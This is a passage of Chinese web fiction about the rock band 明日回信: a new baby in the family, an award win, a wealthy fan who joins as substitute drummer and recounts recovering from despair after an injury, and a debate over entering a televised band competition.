出院后,姜玺和夏夏一同住进了月子中心。里面的服务周到完善,产妇和家属都不需要操心太多,姜玺的身体得到了很好的恢复。然而出了月子中心后才是真正的硬仗,三大一小鸡飞狗跳的带娃生活正式开始。 姜珏虽然早有心里准备,但也没料到养活一个人类幼崽居然会这么麻烦。姜玺和姜玉梅是带娃的两大主力,姜珏就负责给她们打下手。连她都感到不可思议,自己有一天竟也会熟练掌握冲泡奶粉和换尿不湿的技能。 而姜玉梅当年因为工作太忙,对两个女儿的成长疏于照顾,心里多少有些歉疚,尤其是对一直替她管教小女儿的大女儿。如今大女儿也有了女儿,她怀着补偿的心思,在照顾夏夏时自然尽心尽力。 姜家喜得千金,不少亲友都前来探望和祝贺,乐队几个成员当然也都在第一时间赶到。郭源远专门从老家寄来了礼物,谢焰出手最阔绰,大包小包的买了一堆补品和玩具,还对着尚不认人的夏夏笑说:“将来要是想学钢琴,叔叔教你。” 熬过了新手期,三个大人对付一个婴儿也渐渐得心应手。这天晚上,姜珏伏在婴儿床边,吹着口琴逗弄夏夏。夏夏喜欢这个声响,一听就笑个不停。她戳了戳夏夏圆乎乎的小脸,心里有些不舍,明天她就要带领乐队开始今年的巡演了。 “她什么时候才能长大啊。”姜珏感叹道,又看向坐在旁边的姜玺,“你什么时候才能回来?” 姜玺知道她指的是让自己回到乐队中,说:“明年吧,我尽量。” “你在家里有空也弹会儿琴,别到时候手都生了。” 姜玺无奈道:“那也得有空才行。” 姜珏放下口琴,起身来到姐姐身后,双手搂住她的肩膀,俯下来把下巴搭在她肩上:“所以我才希望她快点长大,就不会像现在这么折腾人了。头两年是辛苦一点,但你心里也别只有孩子。” 姜玺拍了拍她的手背,笑道:“不是还有你吗?” 姜珏也笑起来,用脸贴着姐姐的脖子蹭了蹭。 当初姜玺离队之后,姜珏在很长一段时间里都相当不适应。虽然名义上她是队长,但实际上是由姜玺承担了乐队的大部分管理工作。她总是能摸清每个人的性格与喜好,游刃有余地平衡成员之间的关系。有她在,队内的气氛一向融洽,合作起来效率也高。 而姜珏的情商有限,脾气又比较急,并不擅长处理人际关系。谢焰、陈辩、蒋希声,各个都很有性格,要把大家凝聚到一起并不容易。现在没了姜玺,队内矛盾都增加了不少。 谢焰就不用说了,其性情倔强程度比起姜珏也不遑多让,还带有一点学院派的高傲,两个人多说几句就要吵起来,这么多年来也没和平共处过几天。 陈辩则俨然是个巨型闷葫芦。因为打鼓多年,听力比普通人要差一些,跟他说话经常得不到回应,也不知道他到底听见了没。当然,就算听见了也不影响他照样闷不吭声。整天仿佛除了打鼓就是打坐,让姜珏时常有种强迫老僧还俗的无力感。 而蒋希声,嗜酒如命,不喝几口弹不了贝斯。经常随身揣着一瓶高度威士忌,咕噜咕噜灌下半瓶,再豪迈地一抹嘴唇:“本人,滚圈李白是也!” 因为喝酒误车误机也不是没有过,有几次差点错过了演出,把大家急得团团转。更可怕的是还把这股嗜酒的风气带进了乐队里。陈辩本来也好喝几口,跟着她混了一阵子,越发的酒精上头。连谢焰都近墨者黑了,从酒中悟道:“你还别说,喝两杯再上台,弹起琴来都带劲多了。” 于是队里一个酒鬼,一个木鱼,一个吵架搭子,让姜珏身心俱疲。她越发地怀念姜玺还在的日子,也由衷地佩服她的本事。有这种情商,难怪能在职场上混那么好。 姜玺之于明日回信正如贝斯手之于乐队。贝斯是种低频乐器,人耳对低频声音不那么敏感,常常听不清楚贝斯声。然而贝斯在演奏中控制着音乐的律动,是乐队中非常重要的存在。 如果把乐队比喻成人,创作就是大脑,主唱是头脸,吉他铺垫了皮肤,鼓撑起了骨架,键盘填充血肉,而贝斯,正是灵魂。 明日回信现在的灵魂不能说不好,但酒精浓度有点高了。 巡演过半,这天晚上演出结束,大家按照惯例聚在一起吃夜宵。姐哥几个又喝上了,姜珏还是只喝汽水。 现在天气冷了,今晚吃的是火锅。谢焰边烫菜边说:“今晚台下有个乐迷挺面熟,看着像是我以前的学生。” 姜珏道:“你还有学生呢?误过多少子弟啊?” “什么话,当初我在艺培机构教钢琴,就他那水平,能跟着我学琴是走大运了。” 蒋希声给谢焰喝空的杯子倒上酒:“一日为师,终身为爹啊。”又给自己的杯子也满上,一拍桌子:“来,干了!” 四个人一起举杯,各自畅快地一饮而尽。 这一站的演出是在本地,吃完夜宵,大家各自回家。姜珏深夜回到家时,妈妈和姐姐都已经睡下了。 她悄悄打开姜玺房间的门,借着客厅的光线想看一看夏夏。姜玺现在睡得轻,听见动静便醒来了,轻声道:“回来了?” “嗯。”姜珏也放轻声音,“她今晚还乖吧?” “还行,没怎么哭,睡得也挺早的。”姜玺问她,“今晚演出怎么样?” “挺好。”姜珏说,“你要是也在,那就更好了。” “快了。”姜玺笑道,“下周我就回去上班了,贝斯也该捡起来了。” 姜珏说:“你可赶紧的,乐队里没了你真不行。” “只要你还在就行了。” 姜珏却说:“只有你在,明日回信才在。” 又是一年过去,在新年伊始的一次拼盘演出上,姜玺终于重新站上了舞台。这大半年里习惯了抱着婴儿,不到十斤的贝斯相比起来要轻松多了。 因为她现在还在哺乳期,夏夏离不开妈妈,平时还得兼顾工作,暂时不可能完全回归乐队。明日回信的两位贝斯手交替出场,异地的演出还是由蒋希声来参与完成。 距离明日回信的上一张专辑已经过去了两年半,乐迷们没少催他们,新专辑是不能再拖了。在这一年的立夏,明日回信发布第四张专辑《女儿歌》。同名歌曲是一首没有歌词的纯音乐,唯一出现的人声是夏夏的嘤咛和欢笑。编曲凸出了贝斯的部分,辅以三节拍的口琴旋律,整曲活泼童趣中不失坚定沉稳,奠定了整张专辑的基调。 《女儿歌》的灵感当然来自于夏夏,这个纯真美好的新生命,是乐队新的缪斯。 在这一年,明日回信拿下了惊鸣奖年度最佳乐队奖,这是对国内乐队的最高认可,也是姜珏从一开始就梦寐以求的殊荣,时至今日她终于得到了它。 她知道,每个成员都知道,这一路走来的十二年有多么坎坷不易。 那天站上领奖台的有五个人——两名贝斯手都来了。每个人都发表了感言,连一向不善言辞的陈辩都努力挤出了两句话。末了姜珏捧着奖杯朝镜头喊道:“姜璧朗,你看到了吗?你妈和你姨都牛死了!” 这回获奖姜珏还是发了条朋友圈,点赞评论人数众多,她也没仔细留意其中有没有范昭羽。现在她已经不需要范大律师——那个代表着主流的成功和正确的人,给予自己认可了。 日子还是照常过下去,当制作人、写歌、演出、带娃。虽然现在收入不低,但家里买了新房子,又养着一个吞金兽,手头还变得更紧了,但姜珏每天都感到充实和快乐。 家人在,朋友在,事业在,梦想也在,生活还有更幸福的模样吗? 她一时也想象不到了。 21.一起 好吗(乐队视角) 又到了年末,明日回信还剩下一个跨年音乐节的行程,今年即将完满收官了。 这天下午,姜珏接到经纪人小杜打来的电话,小杜问她:“姐,这几天有空召集大家到公司来一趟吗?” “什么事?电话里不能说吗?” 小杜神秘道:“你们过来就知道了。” 姜珏感觉有点不对劲:“非要大家一起去公司,该不会是付辽要整我们吧?” 小杜哭笑不得:“哪儿能啊,你们给公司可赚了不少钱呢,付经理吃饱了撑的要刁难你们?” “那到底要干嘛?” 小杜说:“有人想见见你们。” 姜珏更觉得奇怪了:“什么厉害角色啊,还得让我们亲自送上门去?” 小杜没透露,只说:“还真是个得罪不起的,你们来了就知道了,尽量都到齐。”顿了顿,又补了一句:“除了辫哥,就先……别叫他了。” 周六下午,姜珏和姜玺一起去到公司,谢焰和蒋希声也先后到了。小杜见他们人都到齐了,便说:“跟我来吧,人家也在里面等挺久了。” 大家面面相觑,都好奇今天是何方神圣要见他们。小杜领着四个人来到公司的排练室门口,推开门,道:“费小姐,明日回信他们来了。”又对姜珏他们说:“费小姐喜欢你们好久了,难得今天有空,大家好好聊一聊,呵呵。” 待四个人进到排练室里,小杜立刻把门一关,先溜了。 只见架子鼓后面坐着一个女孩,她看见大家进来,立刻从凳子上站了起来。 这女孩身材高大,面容十分年轻,额头上戴着一条红色的运动发带,看起来朝气十足。 姜珏乍一看到她,隐约觉得有几分眼熟。 女孩兴奋地来到四个人面前,主动打招呼道:“你们好,我叫费暄。我特别喜欢明日回信,追过好多次现场呢!” 听她这么一说,大家心里也就有数了。原来是个比较狂热的乐迷,估计家里有点背景,通过关系跟公司打了招呼,想要跟偶像来个近距离的接触。 这时姜珏也想起来了,自己应该是在演出时见过这位费小姐,她八成还来找他们签名合影过。像她个头这么高的女孩,确实很容易给人留下印象。 费暄又是激动又有些不好意思,问:“我能跟你们握个手吗?” 姜玺笑道:“当然可以。” 四个人一一和费暄握了手。费暄最喜欢的显然是姜珏,跟她握完了手又忐忑地多问了一句:“可以和你拥抱一下吗?” 姜珏觉得这个热情的小姑娘也挺可爱的,笑着主动向她张开了双臂:“行。” 费暄立刻抱紧了她,开心得满脸通红:“天哪!好像做梦一样。” 按照大家预想的流程,接下来估计就是拍张合影,晚上再一起吃个饭什么的吧。 但费暄向他们表达完了喜爱,就又回到了架子鼓后面,拿起鼓槌灿然一笑:“我会打鼓。” 然后通过手机操控音响,等音乐声响起,她把额头上的红色发带往下一拉,蒙住了自己的眼睛。 正当大家不明所以时,一连串的鼓声已经跟随音乐响起。音响里播放的正是一首明日回信的歌,被消除了鼓声,费暄现场打鼓取而代之。 她没有按照原有的鼓点演奏,而是重新编排了一套鼓谱,比原版更加华丽复杂得多,副歌最后一句直接来了三个高速五连音,下手干脆利落。一整首歌下来打得流畅老练,情绪激昂,连观者也感觉十分酣畅淋漓。 大家不由都是一惊,这小姑娘盲打竟能打得这么出色,实力不容小觑,看来也是个玩乐队的吧? 一曲结束,费暄把发带又拉回了额头上,还在兴奋地微微喘气,有些期待地看着他们,像是希望能得到一些夸赞。 谢焰率先鼓起了掌,笑道:“厉害啊,这么年轻就有这种水准。你打鼓多少年了?” “三年。” 大家不由又是一惊,才三年就能练成这样,看来还真是个天赋异禀的好苗子。 蒋希声来了兴致,见旁边就有把贝斯,于是拿过来要和费暄来段即兴:“加上贝斯试试?” 费暄点点头:“来。” 贝斯和架子鼓分别决定了演奏中的律动和节奏,是很亲密的两种乐器,凑到一起当然有很多玩头。蒋希声上来就是一段slap,费暄听了七八秒,摸清了她的节奏,先踩动底鼓咬住拍子,上面的军鼓也随后跟上。她眼睛一直盯着蒋希声的手,看得出有些紧张。 费暄套了个常规的节奏型,不时加个花,与贝斯呼应得十分贴合。如此你来我往了一段,她想见缝插针炫个技,却被蒋希声率先弹起了旋律,只好又再老实地跟着她走,配合着又换了个节奏型。 眼见一直由蒋希声占据主动,费暄大概也有点不甘心了,在一段旋律结尾处来了一个小空滞,然后突然把节奏打上了130bmp。蒋希声被打得一个措手不及,连忙跟上她。费暄总算控住了场,挥洒自如地来了一段solo,见好就收,利落地收了尾。 蒋希声赞道:“还真有两下子。你自己也有乐队吧,出过什么歌吗?” 这时费暄从凳子上站了起来,先是朝他们鞠了一躬,然后认真道:“我想加入明日回信,当鼓手。” 四个人当即就愣住了。 原来这才是今天非要在排练室里碰面,并且没让陈辩过来的原因。 姜珏的脸色冷了下来:“没门。” 转身便走出了排练室。 她一出来就去抓小杜,没好气地问他:“这事你早知道了是吧?也不提前说一声!公司到底怎么想的,居然也能答应让她半路塞进我们乐队?” “公司也没答应啊,这不是先让你们见个面,互相了解一下嘛,肯定还是以你们的意见为主的。”小杜解释道,“主要是人家意愿强烈,公司也实在不好推,她要是不亲耳听到你们拒绝,是不会死心的。而且吧,她鼓打得确实不错,当你们的鼓手也算够格……” 姜珏打断了他:“你就直说吧,她到底什么来头,哪家的千金大小姐?” “恒兆集团,都听过吧?” 姜珏挑眉:“是她家的?” 小杜点点头,然后无奈地一摊手:“所以你说这怎么拒绝?人家要是乐意,明天就能把咱们公司买下来。” 姜珏心想这也太操蛋了吧,明日回信居然也有今天,这是不是就叫做被资本入侵了? 她道:“反正这事我不答应。她买下公司又能怎样,封杀我们?” 小杜忙说:“那不至于,我看人家挺诚心的,也是真喜欢你们。你们要实在不愿意就算了,好好跟人家说,她应该也不会为难人的。” 姜珏出了排练室后就再没回去,也不知道其他几个人跟费暄又说了些什么,但她想大家的想法应该跟她的差不离。现在的明日回信是一个成熟且稳固的团队,成员之间早已默契十足,缺一不可,如非必要和不得已,是不会轻易更换成员的。 费暄的技术确实不错,但她出现得太迟,乐队里已经没有能容纳她的位置了。 晚上回到家,姜玺在吃饭时跟妹妹说起了下午的事,看来是不太赞成她当时的态度:“你不答应就不答应吧,也不至于给人家甩脸色,撂下一句没门就走了,她后来还挺伤心的。” 姜珏不以为意,边夹菜边说:“就不想惯着这种想走后门的富家孩子,反正他们一辈子也吃不到什么苦,偶尔体验一下挫败的感觉又怎么了。” “那也可以好好跟她说吧。”姜玺道,“反正将来夏夏长大了,我是希望她遇到的人都和善一点。” 代入夏夏一想,姜珏也觉得自己好像是有点绝情了,问:“那我走之后她又说了什么没?还是坚持要加入乐队吗?” “就说尊重我们的意见,自己会再努力的,看起来是没那么容易放弃。” 姜珏心想,还是个挺有决心的大小姐呢。 又过几天,蒋希声邀请姜珏去她的酒吧坐坐,姜珏一想也有阵子没过去了,当天晚上便又光临了大音酒吧。 哪料到竟然在里面见到了费暄,她明显是和蒋希声一起的,一看到姜珏来了就起身殷切道:“你好,又见面了。” 姜珏无语地看向蒋希声,蒋希声干笑两下,灌了几口酒:“怎么了,费暄是我交的新朋友,把她也叫来喝两杯还不行了?贝斯手跟鼓手的关系就是比较好嘛。”又拍拍她的后背:“你们俩坐,这会儿该轮到我上台了。” 姜珏心知今晚蒋希声把自己叫来,大概也是想给费暄制造点机会。看她年纪也不大,又还挺执着的,就对她和善一点吧。 于是姜珏在她对面坐下来,问:“你也喜欢喝酒?” 费暄便也坐下了,两手搭在膝盖上,看起来比初见时要拘谨了不少,道:“偶尔喝一点吧。” “你今年多大了?” “二十一。” “还在读书吗?” “嗯,大四了。” 姜珏又问:“你从小吃什么的啊,个子长这么高。” 费暄有些不好意思地摸了摸头:“就正常吃饭,主要还是家里遗传吧。而且我从小打网球,锻炼得比较多,应该也有点影响。” “那挺不错的。”这时姜珏的柠檬椰子水端上来了,她喝了几口,没再说话。 两人间陷入沉默,费暄犹豫了一会儿,鼓起勇气问她:“姐姐,是我鼓打得还不够好吗?还差点什么,怎样才有机会加入你们?” 终于还是聊到这个了。姜珏放下杯子,说:“我们乐队四个人好好的,又不是没有鼓手。现在你突然冒出来,说一句想加入,我们就得踢掉人家让你加入?你不觉得这很离谱吗?真当全世界都围着你转的?” “我知道你们有鼓手了,可他也兼别的乐队,我觉得你们需要一个全职的……” “你觉得?”姜珏打断了她,“你的想法不重要。” 费暄顿时就哑声了。 姜珏看她表情有些委屈,确实也让人感觉有几分可怜,但还是要说:“明日回信从成立到现在,十二年了,除了我这个主唱,每个位置都换过人。乐队能有今天的成就,是每一个离开和留下的成员共同努力得来的,是大家的心血。而你呢,你付出过什么?凭着自己后台硬就想替换我们的队友,这难道公平吗?” 费暄张了张嘴想说些什么,姜珏又继续说道:“而且我们这十二年吃了多少苦头、经历了多少挫折才有了现在的名气,有了这么多乐迷。籍籍无名的时候你不在,等我们混出头了,你直接就来摘桃子了,这像话吗?你要是有志气,就去做一个自己的乐队,将来超越我们、打败我们,别来捡现成的便宜。到时候我就算是输给你,也心服口服。” 费暄听她说完,有些沮丧地小声道:“我知道我超越不了你,也从没想过打败你。我是想和你站在一起。” 她抬起头看着姜珏的眼睛,又说:“我就是为了加入明日回信,才专门去学了架子鼓的。” “哈?”姜珏觉得这有点不可思议了。 “三年前,是你们的歌救了我。” 姜珏端起杯子喝了口椰子水,终于对这位大小姐的过往产生了点好奇,问道:“三年前,你怎么了?” 费暄深吸了口气,没有直接说到三年前,而是从头讲起:“刚才说过的,我从小打网球,不是当做爱好而已。我六岁时第一次接触网球,打球比同龄小孩强出一大截,老师说我很有天分,我自己也喜欢这个,家里就送我去了网球培训中心,跟着教练做专门训练。” “我打得很好——不是吹嘘的,我十二岁就拿到第一个全国冠军了,十四岁开始打职业赛,有了赞助商,国内的奖牌拿过好几块,全球的青少年公开赛也拿过名次。教练非常看好我,家里也以我为傲。我就想着有一天能去参加四大公开赛,去参加奥运会,照当时那样打下去,我觉得自己一定可以的。” 姜珏听出了她话里的转折,问道:“后来呢,你没继续打下去吗?” “我在高中毕业的时候,受了很严重的伤。”费暄拿起杯子抿了一口酒,“当时我跟朋友去海边攀岩,那天风大,我又是新手,爬得不太顺利。爬到快一半的时候,被我当做脚点的那块岩石突然松动了,我踩了空,整个人晃在半空中,主绳竟然也刚好断裂……我摔进了海里,撞上礁石,差点就死了。” 姜珏惊讶地微微睁大了眼睛。 费暄又说:“当时我身上多处骨折,最严重的是左腿膝盖,粉碎性骨折加韧带撕裂。这对运动员来说致命伤,伤愈后虽然还能正常生活,但是我再也做不了职业网球手了。” 她把杯子里的酒一饮而尽:“那几个月我只能坐轮椅,每天都很痛苦……后悔自己为什么要去攀岩,主绳为什么刚好就那么倒霉地断开。我恨自己,恨老天,可是没有用,我的膝盖再也回不到原来的样子了,十几年的努力全部白费,什么前途和梦想,都破灭了。” 时至今日再说起这些,费暄还是忍不住哽咽:“那时候真是不想活了,家人朋友们怎么劝都没用,我走不出来,就想着干脆一了百了……直到有一天,我偶然听到了明日回信的歌。” 她停下来缓了缓,用手背抹掉眼泪:“那几个月里,是你们的歌、你写的词曲和你的声音在陪伴我,鼓励我,一直到我丢掉轮椅,重新站起来。” 姜珏听完不禁动容,原来费暄并不是她所以为的那种没吃过苦的富家孩子,也终于明白明日回信对于这个年轻女孩的意义。 她挪到费暄旁边,安慰地拍了拍她的后背。 费暄又道:“那时候我总是想,这个姜珏是个什么样的人呢?为什么能写出这么有力量的歌呢?我太喜欢这支乐队了,除了网球之外,还从来没有这么喜欢过一样东西,喜欢到忍不住想,如果我也能成为你们之中的一份子就好了。” 姜珏问:“所以你就去学了架子鼓?” 费暄点点头:“嗯。” “那为什么是架子鼓呢?” “因为贝斯手和你是双胞胎姐妹,你们一定是拆不开的。键盘手的基本功强到吓人,我从零学起不可能超过他。只有架子鼓还有机会搏一搏,我身体协调性好,体能更不用说,打鼓很有优势。而且你们的鼓手还兼别的乐队,不像其他成员那么稳固,是唯一有可能被替代的位置。” 姜珏笑道:“你这也是挺老谋深算了。” 费暄吸了吸鼻子,也笑了:“打球和打鼓都是要用 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“我还能骗你啊?” 费暄高兴得差点跳起来,激动地想要过来拥抱她,手伸了一半又不敢太过放肆,又收回去了,一边傻笑一边摸自己的头。 姜珏看得好笑不已,眼见台上一曲刚结束,便站起身来说:“你不是想跟我站在一起吗,要不要上台来一首?” 费暄立刻点头:“好!” 姜珏跟费暄走到小舞台边,对蒋希声说:“下首换我跟她上。” 蒋希声笑道:“这是谈妥了?” 姜珏侧过头去看费暄,也笑:“早着呢。” 她拿了把吉他,站到话筒前,费暄则坐到了架子鼓后面。蒋希声问:“唱哪首?” “《我们的生活充满阳光》。”姜珏回头朝费暄说,“这首你肯定没听过,看你能不能跟上。” 这首歌被姜珏改编成了轻盈活泼的风格,费暄听她完第一遍主歌,很快摸清了节奏,在副歌部分加入了相应的鼓点,与吉他和贝斯一起为姜珏完成了天衣无缝的伴奏。 直到歌曲结束,她还舍不得停下。与姜珏同台演出正是她一直以来的梦想,此时梦想成真的快乐简直冲飞了天灵盖。她兴奋地又加了一段solo,边打鼓边大喊:“姜珏,我爱你!” 酒吧里所有人都惊讶地看向了她,蒋希声哈哈大笑。 姜珏扶额:“有点过了。” 回去之后,姜珏跟队友们说了费暄的事,提议可以让她当陈辩的补位鼓手,大家都没什么意见。毕竟以前也有过陈辩的行程与乐队活动相冲突的情况,费暄的存在正如同补位姜玺的蒋希声,可以帮助明日回信完成更多演出。 没几天就到跨年音乐节了,演出地在一个很南边的海滨城市,小杜帮大家订好了票,在演出前一天乘同个航班过去。 这消息不知怎么的又飞到了费暄耳朵里,她兴冲冲地在微信上问姜珏:那天我能跟你们一起去吗? 姜珏回道:你去干嘛?没你上台的份。 费暄:我去观摩一下,认真学习学习。 很快又发来一条:还可以给你们扛包。 再发来一条:我力气超大! 姜珏看得好笑:你就这么闲,都不用上课吗? 费暄:都大四了,哪儿还有课啊! 又发:求你啦[星星眼] 姜珏转头去问排练中的队友们:“这回去音乐节,想带个扛包的吗?” 谢焰奇怪道:“哪来扛包的,公司舍得给我们配助理了?” “倒也不是。” 蒋希声已经猜到了:“那大小姐要给我们扛包?这可担不起啊。” 姜珏不以为意:“她还得谢我们呢。” 因为这回演出路程遥远,还是由蒋希声作为贝斯手出场。出发那天大家在机场碰头,费暄也早早就来了。 虽然都是鼓手,但费暄的性格跟陈辩完全是天差地别。现在她自认为跟大家混熟了,尤其是得到了姜珏的认可,一点也没有了当初的拘谨,彻底暴露出本性——一个热情的话痨,一直在缠着几位问东问西,说个不停。 “你们之前那个鼓手为什么退出了?他技术还挺好的。” 姜珏道:“乐队不挣钱,他回家当老板了。” “那之前的键盘手呢?网上好多人都猜他过世了,是真的吗?” 谢焰在旁边嗯了一声。 “为什么过世了?还这么年轻呢,是因为生病吗?” 姜珏道:“少打听。” “哦。”费暄安静了还没几秒,又忍不住问道,“对了,我以前考古你们参加《校园新声》的视频,看了海选和五十进二十的比赛,当时你们的鼓手是个女生,她才是明日回信的第一个鼓手吧?后来为什么再也没出现过了?” 姜珏忍无可忍:“你能不能消停会儿?”她看着费暄额头上那条红色的运动发带,说:“那东西戴错地方了,就应该再往下拉一点,把你嘴封上。” 费暄终于不再做声了,听话地把发带拉下来,遮住自己的嘴唇。 这时陈辩看向她,大概也是觉得好玩,笑了笑。 在候机室里等待许久,广播里终于响起了登机通知。 大家纷纷提起行李走向登机口——当然还是没让费暄真替他们扛包。 费暄扫完登机牌,兴冲冲地迈进了登机廊桥,非常雀跃地走在前面。 姜珏看见她的双肩包上挂着一个网球挂饰,随着她的步子而活泼地摆动。这时蒋希声说:“让她加进来也挺不错的吧?当初你还硬是不答应。” “有点后悔了,这么屁点大的小孩最吵了。” “当初你第一次拿惊鸣奖时不也是这么屁点大的小孩?” “那能一样吗,世界上才几个我?” 谢焰切了一声。 “不过——”姜珏看着费暄的背影,还是由衷地感叹,“年轻真好啊。” 她用胳膊捅了捅陈辩:“辫哥,有危机感了吗?” 陈辩说:“暂时没有。” “那问你一个严肃的问题。”姜珏道,“要是明日回信跟那边只能二选一,你选哪边?” 陈辩没吭声,就在姜珏以为他没有听见,或者听见了也不想回答时,他突然说:“我在那边都快二十年了。” 孰轻孰重,这已经是答案。 姜珏笑了笑,没再说什么。一支近二十年的乐队在人生中占有怎样的分量,她当然能够明白。 上了飞机,大家各自入座自己的位置。蒋希声懒得办托运,安检前把随身带的酒喝完了,这时候正好开睡。费暄的座位离大家很远,谢焰主动提出跟她交换:“要不你坐我的位置吧。” 姜珏立刻制止了:“别!我要挨着你坐。” 谢焰狐疑地看着她。她道:“起码能安静点。” 空乘过来提醒各位关闭手机。姜珏掏出手机来,有姜玺发来的微信:落地了报个平安。 她回复:知道了。 飞机拐进起飞跑道,在高速冲刺后飞向万米晴空。 这一路的伙伴来来去去,但总有人与她一同启航。 22.在夏天(乐队视角) 公历新年一过,春节便也很快就到了。趁着这大过年的,大家也难得好好休息一阵。 这天下午天气好,姜珏和姜玺一起推着婴儿车出门,带夏夏到附近公园遛了个弯,好好晒了会儿太阳。三个人回来时姜玉梅刚做上饭,客厅里电视机还开着。 姜珏瘫在沙发上,有一眼没一眼地看电视,看了一会儿觉得没什么意思,又拿了遥控器想换个节目。 现在电视机也能联上视频网站了,她在首页的推荐列表里看到了一档热门选秀综艺,随口对姜玺说:“这个你看过吗?听说前阵子挺火的。” 姜玺扫了一眼:“哦,是挺火的,之前我们公司不少小姑娘都在追,经常听见她们聊这个。” 姜珏感叹道:“隔了这么多年,选秀居然又流行起来了。” “现在的选秀跟我们那会儿可不一样了,都是选出几个人气最高的,再组成一个组合出道。” “一群竞争对手在那争了半天,最后硬凑成一个组合?这能合得来吗?”姜珏很不看好,“肯定要吵架,搞不好还得打起来。” 姜玺又无奈又好笑:“你以为都跟你似的?” 过了一会儿,姜玉梅招呼大家吃饭了,还过来把电视调到了一个本地的频道。傍晚时间有一档接地气的民生新闻节目,姜玉梅很喜欢看,每天晚饭时都要拿它下饭。 姜珏溜达了一下午,肚子也早饿了,上了桌就埋头吃饭。这时节目播到了一条邻里纠纷引发刑事案件的新闻,主持人还连线了场外律师点评。这律师的声音听着有点耳熟,姜珏回头一看电视,顿时嘴都张大了——竟是范昭羽! 她啧啧两声:“这女的混得挺好啊,都上电视了。” 姜玉梅正看得津津有味,问:“你认识人家?” “我大学同学,当初还住一个宿舍呢。” 姜玺道:“有印象。” 姜玉梅喝了口汤,道:“你看人家这口才多好,专业也过硬,分析得头头是道的。跟人家一样学了四年,你就没这水平。” “跟她本来就不是一条道上的,我的水平她也没有啊。”姜珏满不在乎地说,“她说的比唱的好听,我是唱的比说的好听。” “那人家好歹能上电视,你混了那么多年,除了当初参加比赛那会儿,也没见你能在电视上露个脸。” 姜珏煞有介事道:“我们是玩摇滚的好不好?玩摇滚的还跑主流媒体上蹦跶,那就俗了。” 然而春节刚过,上主流媒体蹦跶的机会突然就来了。 那天小杜联系到大家,说秀果视频今年要推出一档综艺节目《摇滚热夏》,聚焦摇滚乐与乐队文化,目前正在前期筹备中,计划夏天播出。节目组向野草音乐发来了邀请,希望能请到旗下的乐队参加录制,尤其是明日回信。 节目采取淘汰赛制,拟邀请三十支乐队参与节目,经过几轮竞演,最终选出五支人气最高的乐队作为本季节目的Top 5。 姜珏听完,心想这不跟之前看到的选秀差不多吗?从一群人里选出几个人气最高的,难不成最后还要凑一起重新出道?肯定得完,毕竟滚人可是真会打架的。 但她还是有些心动了。 秀果视频是现今规模最大、实力最强的视频平台之一,这几年也打造了好几档大热综艺,《摇滚热夏》又是今年的重点项目。节目PD亲自来联系了她,诚意十足,还画了一些天花乱坠的大饼,预期节目上线后将会收获极高热度,明日回信的身价也会水涨船高。 PD在力劝她时还说到,此前国内从未有过任何一档展示摇滚乐与乐队文化的节目,如今终于有了一个舞台,难道就不想带着自己热爱的东西走到大众面前吗? 无论是从经济收益还是从摇滚推广的角度看,这都是一个难得的好机会。 公司当然是极力支持他们上节目的——毕竟能多赚钱。姜珏还在摇摆中,听闻圈内不少乐队都受到了邀请,多数仍在观望,也有些已经确定了要参加。 如果明日回信也要去,不知道姜玺能不能有充足的时间参与录制,估计还是得带蒋希声。当姜珏向蒋希声提起这事时,听见她乐呵呵地说:“没空哈,我们乐队已经决定要上《摇滚热夏》了。给明日回信打了两年工,也该搞搞自己的事业了。” 蒋希声所在的黑释迦乐队名气不大,自然珍惜每一个曝光机会。而明日回信已经是标杆般的存在,跑到主流媒体上蹦跶,是不是有些俗了?万一在节目里早早被淘汰,是不是又有些丢人? 蒋希声说:“红了就是顾虑多,不像我们光脚的不怕穿鞋的,横竖不亏。”又道:“不过话又说回来,明日回信都算圈里拔尖的那拨乐队了,所以就更应该去啊。拿你们那些好歌到节目上唱一唱,好好宣传宣传,让观众见识一下摇滚的魅力,不然就靠我们这些虾兵蟹将,能翻出什么花来?你也知道玩摇滚的有多不容易,有一分力就出一分力吧,难道你甘心看着这个圈子一直待在地下?” 这番话确实把姜珏说动了。摇滚乐一直游离于主流之外,哪怕是作为圈内拔尖的那拨乐队,明日回信在大众之中也名气甚微,更不用说如黑释迦这些没有混出头的乐队。 大家选择做摇滚,自然是源于热爱,但每个满怀热爱的人终究都活在现实中。当音乐的收益始终无法覆盖热爱的成本,这份热爱又何以延续呢?当初郭源远不正是因为败给了现实才选择退出乐队,转而去干“正经事”吗?这样的例子简直数不胜数。 既然明日回信已经是标杆般的存在,当然应该为摇滚乐承担更多责任。 姜珏决定带领乐队参加《摇滚热夏》。当然,她的动机并非全然这么高尚,也有贪图名利的成分。毕竟谁不希望自己的事业能更上一层楼呢,再说了,这年头养孩子是真的费钱。 然而谢焰对此强烈反对。 “你脑子进水了是吧,为了挣钱连底线都不要了?这两年接了这么多商演,我早就不爽了,现在竟然还要让明日回信上什么综艺,那种东西跟耍猴给人看有什么区别?你还有半点做独立音乐的节操吗?什么玩意儿!” 姜珏反驳道:“你不也没少上综艺弹琴,给那些流行歌手做伴奏吗?现在开始装清高了?真这么清高就守着你的琴孤芳自赏去,出来挣什么钱啊?” “那些是我的日常工作,乐队是我的精神追求,这能一样吗?而且那个节目说白了不就是个选秀,一个摇滚乐队去参加选秀,你自己听听不觉得可笑吗?” “选秀怎么了?当初我们就是选秀出来的!”姜珏强硬道,“你爱去不去,没人求你。大不了我再找一个键盘手顶上,真以为地球没你就不转了?” 谢焰绝不让步:“键盘手的位置只能是孔潇的,现在只能是我的!别人没资格来占!” “你还有脸提孔潇,孔潇才没你这么矫情呢!” 两个人大吵一架,谢焰给姜珏气跑了。 姜玺倒是愿意参加节目,不过她平时得上班,夏夏又还小,录制节目得到外市的一个影视基地去,时间上怕是有点排不开。 不过她决定先去再说,前期可以用年假配合周末,也能凑出足够的时间。反正明日回信能走到哪一步还不知道呢,要是早早被淘汰了,也就不必担心档期问题了。 陈辩则实在分身乏术:“没时间,得去巡演。” 他所在的另一支乐队早就定下了巡演行程,为期两个月,演出基本都集中在周末,根本腾不出时间参与录制。 于是费暄非常积极地自告奋勇:“我有空我有空!” 补位鼓手终于等来上场机会。姜珏想来想去,现在也只能用她了。 谢焰回去之后气得两天没睡好觉,但姜珏的话也让他不禁去思考——如果是孔潇的话,会选择去参加这个综艺节目吗? 明日回信一开始就是从选秀出道的,而他和孔潇也正是在赛程中确定了关系。现在回忆起来,他还能清楚记得孔潇在参赛前的紧张,在舞台上的投入,以及最后止步于全国六强的不甘。 十几年过去,乐队的实力已经远胜当初,要是再有一个上台竞赛的机会,让更多人看到、听到自己,孔潇大概也不愿意错过吧。 而自己非要把摇滚乐架到一个孤高小众的位置上,是不是真的有点矫情了? 